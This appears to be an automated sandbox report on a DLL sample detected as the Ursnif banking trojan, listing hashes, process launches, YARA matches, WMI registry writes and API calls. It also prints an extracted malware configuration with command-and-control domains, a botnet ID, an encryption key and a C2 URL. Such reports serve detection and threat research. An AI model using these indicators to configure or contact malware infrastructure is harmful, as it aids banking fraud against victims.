Play interactive tour

Edit tour

Analysis Report KAsJ2r4XYY.dll

Overview

General Information

Sample Name:	KAsJ2r4XYY.dll
Analysis ID:	381747
MD5:	2d242e5ea5fbb1541d1c72b6a01236f6
SHA1:	1c593344883c0db0f34a917381ea7865cbfceba2
SHA256:	d7102c2bee0abe8f04f3faf34374462dbe7b528f3de6492b6e9ce230a5a8d5ef
Tags:	dllGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Writes or reads registry keys via WMI

Writes registry values via WMI

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5904 cmdline: loaddll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 3728 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5944 cmdline: rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2212 cmdline: rundll32.exe C:\Users\user\Desktop\KAsJ2r4XYY.dll,StartService MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 6348 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6400 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6348 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 7164 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 3420 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5200 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17418 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 1268 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 5068 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1268 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 5944	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.loaddll32.exe.9a0000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.10000000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.36c0000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.2fe0000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.10000000.5.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 3.2.rundll32.exe.4ff94a0.4.raw.unpack

Malware Configuration Extractor: Ursnif [{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]

Multi AV Scanner detection for submitted file

Show sources

Source: KAsJ2r4XYY.dll

Virustotal: Detection: 52%

Perma Link

Machine Learning detection for sample

Show sources

Source: KAsJ2r4XYY.dll

Joe Sandbox ML: detected

Source: 0.2.loaddll32.exe.10000000.4.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 3.2.rundll32.exe.10000000.5.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: KAsJ2r4XYY.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_009212D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		0_2_009212D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B212D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		3_2_04B212D4

Source: Joe Sandbox View

IP Address: 185.243.114.196 185.243.114.196

Source: Joe Sandbox View

ASN Name: ACCELERATED-ITDE ACCELERATED-ITDE

Source: global traffic

TCP traffic: 192.168.2.3:49748 -> 185.243.114.196:80

Source: unknown

DNS traffic detected: queries for: login.microsoftonline.com

Source: GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js.20.dr	String found in binary or memory: http://feross.org
Source: {5CD1EFE9-95B2-11EB-90E4-ECF4BB862DED}.dat.25.dr, ~DFB944C173FC982650.TMP.25.dr	String found in binary or memory: http://under17.com/joomla/X_2FkL3FeOxUDMJ/FYE4xQai74UAgYvt6w/rz9YymYaY/A1831r9BfghFj3EKo2Ac/ILaAjMeO
Source: ~DF76D71240BBB52F37.TMP.19.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/ein-trick-soll-auslandschweizern-in-der-ferne-helfen-
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/digital/tilman-santarius-einmal-zoomen-statt-bahn-spart-90-pro
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/k
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/papst-franziskus-warnt-vor-r
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/bundesregierung-stuft-niederlande-als-hochinzidenzgebi
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/corona-jens-spahn-plant-freiheiten-f
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/jeder-mensch-kann-europa-ver
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/stuttgart-querdenker-demo-alle-emp
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/union-s
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/schweiz/schweizer-pass-nach-der-schulzeit-junge-glp-will-einb
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/vermischtes/taucherin-tot-aus-dem-rhein-geborgen/ar-BB1fi1Ia?o
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/briten-wollen-impfnachweise-nach-israelischem-vorbild-einf
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/deutschlands-star-virologe-empfiehlt-ernsthaften-lockdown-so-wi
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/die-st-galler-stadtpolizei-bereitet-sich-auf-eine-weitere-krawa
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/ich-w
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/iran-keine-verhandlungen-mit-usa-bei-atomtreffen-in-wien/ar-BB1
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/r
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/t
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/unruhen-in-nordirland-demonstranten-setzen-autos-in-brand-und-g
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/weitere-proteste-in-myanmar-ostereier-mit-parolen-gegen-die-jun
Source: msnpopularnow[1].json.28.dr	String found in binary or memory: https://www.msn.com/de-ch/reisen/artikel/berghuus-radons-in-der-schweiz-ein-hoch-auf-die-schweinebac

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.9a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.36c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2fe0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5944, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.loaddll32.exe.9a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.36c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2fe0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5944, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001D9F NtMapViewOfSection,	0_2_10001D9F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001EB5 GetProcAddress,NtCreateSection,memset,	0_2_10001EB5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002375 NtQueryVirtualMemory,	0_2_10002375
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_009283B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	0_2_009283B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0092B341 NtQueryVirtualMemory,	0_2_0092B341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B283B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	3_2_04B283B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B2B341 NtQueryVirtualMemory,	3_2_04B2B341

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A348F	0_2_026A348F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A596E	0_2_026A596E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A237B	0_2_026A237B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A247B	0_2_026A247B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A5C76	0_2_026A5C76
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A1374	0_2_026A1374
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A554B	0_2_026A554B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A4859	0_2_026A4859
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A6424	0_2_026A6424
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A1000	0_2_026A1000
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A1918	0_2_026A1918
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A3314	0_2_026A3314
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A28EB	0_2_026A28EB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A20EE	0_2_026A20EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A52EC	0_2_026A52EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A5AF6	0_2_026A5AF6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A3BDB	0_2_026A3BDB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A3FA8	0_2_026A3FA8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A3A85	0_2_026A3A85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A1B95	0_2_026A1B95
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002154	0_2_10002154
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00924094	0_2_00924094
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_009297F2	0_2_009297F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0092B11C	0_2_0092B11C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0366348F	2_2_0366348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0366596E	2_2_0366596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03665C76	2_2_03665C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03661374	2_2_03661374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0366237B	2_2_0366237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0366247B	2_2_0366247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0366554B	2_2_0366554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03664859	2_2_03664859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03666424	2_2_03666424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03661000	2_2_03661000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03663314	2_2_03663314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03661918	2_2_03661918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_036620EE	2_2_036620EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_036652EC	2_2_036652EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_036628EB	2_2_036628EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03665AF6	2_2_03665AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03663BDB	2_2_03663BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03663FA8	2_2_03663FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03663A85	2_2_03663A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_03661B95	2_2_03661B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B24094	3_2_04B24094
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B297F2	3_2_04B297F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04B2B11C	3_2_04B2B11C

Source: KAsJ2r4XYY.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.troj.winDLL@18/115@6/1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0092757F CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_0092757F

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF151D54B9C8834E13.TMP

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\KAsJ2r4XYY.dll,StartService

Source: KAsJ2r4XYY.dll

Virustotal: Detection: 52%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\KAsJ2r4XYY.dll,StartService
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6348 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17418 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1268 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\KAsJ2r4XYY.dll,StartService	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6348 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17418 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1268 CREDAT:17410 /prefetch:2	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001745 LoadLibraryA,GetProcAddress,

0_2_10001745

Source: KAsJ2r4XYY.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A348F push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_026A34A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A348F push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	0_2_026A3632
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A348F push 00000000h; mov dword ptr [esp], edx	0_2_026A37FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A348F push edx; mov dword ptr [esp], 00000002h	0_2_026A384A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A348F push 00000000h; mov dword ptr [esp], ecx	0_2_026A38D7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A6194 push eax; mov dword ptr [esp], 00000004h	0_2_026A61AF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A6194 push esi; mov dword ptr [esp], 00001000h	0_2_026A61B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A6194 push 00000000h; mov dword ptr [esp], ebp	0_2_026A6267
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A237B push 00000000h; mov dword ptr [esp], edi	0_2_026A2502
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A237B push 00000000h; mov dword ptr [esp], ecx	0_2_026A2524
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_026A237B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_026A269D
